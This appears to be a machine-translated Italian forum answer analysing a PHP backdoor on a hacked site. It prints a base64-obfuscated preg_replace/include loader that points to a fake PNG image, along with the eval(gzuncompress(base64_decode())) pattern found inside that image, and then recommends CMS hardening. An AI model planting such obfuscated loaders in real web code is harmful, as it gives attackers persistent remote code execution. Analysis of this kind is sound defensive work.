What will this code actually will do?
Hai una backdoor che consente l'esecuzione di codice in modalità remota
Creditoaborjabperladecodificainiziale
<?phppreg_replace("#(.+)#ie",
"@include_once(base64_decode(""));",
"L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc"; ?>
Nota questa stringa codificata in base 64 che abbiamo trovato nel primo file:
L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc
Quando decodifica quella stringa, punta a questo file:
/home4/mitzvahc/public_html/assets/img/logo_small.png
Il file "immagine" non è quello che sembra essere.
kayge ha sottolineato che il file è ovviamente accessibile online. Così ho scaricato la tua "immagine", che è dove sta accadendo il vero hack. Il primo script sta tentando di caricare i contenuti di quell'immagine.
All'interno dell'immagine fittizia, esistono due dichiarazioni eval()
che consentono l'esecuzione di codice arbitrario completo quando si controlla $GLOBALS[ooooOOOOo(0)]
.
Questo succede solo se l'attaccante tenta di impostare quella variabile. Il 99% delle volte in cui vedi eval()
, tutto ciò che devi veramente sapere è che l'intero server Web viene compromesso dall'esecuzione di codice in modalità remota. Ecco cosa sta facendo:
eval(gzuncompress(base64_decode("evil_payload")));
Ovviamente, eri già compromesso da una qualche forma di exploit , ma questo dà all'aggressore una backdoor offuscata nel tuo server web a cui possono accedere continuamente, anche se dovessi patchare il problema permettendo loro per scrivere file in primo luogo.
Quali sono i contenuti del male gunzip?
- Puoi vederli qui .
- All'interno di questo, ecco un altro dump di codifica (Grazie, Impero tecnico )
-
Impero tecnico solo ha contribuito notevolmente alla deobfuscation dei contenuti in # 2 .
-
nneonneo lo ha ripulito ancora di più .
Perché sta succedendo questo?
How it's possible that a supposedly locked PHP file can get updated on the server?
Questo è troppo ampio per rispondere senza avere accesso a tutto. Potresti avere un hardening errato nell'installazione Content Management System , oppure potrebbe esserci una vulnerabilità da qualche parte nel tuo stack web. Non mi interessa visitare il tuo sito web considerando cosa sta succedendo, quindi puoi controllare questi link se fanno parte del tuo CMS:
- Lista di controllo della sicurezza di Joomla
- Indurimento di WordPress
- Lista di controllo della distribuzione di Django
Se il tuo CMS non è elencato, cerca gli elenchi di controllo di protezione / sicurezza per l'installazione di CMS. Se non utilizza un CMS, ma piuttosto il tuo codice, allora devi risolvere i tuoi problemi di sicurezza.
Potrebbero esserci diversi motivi per cui questo sta accadendo ... ma la linea di fondo è: o il tuo host web è stato violato, o hai un exploit sul tuo sito web che consente alle persone malintenzionate di inserire codice aggiuntivo e dargli pieno controllo sul tuo sito web ... nel frattempo, sono che attaccano i tuoi visitatori .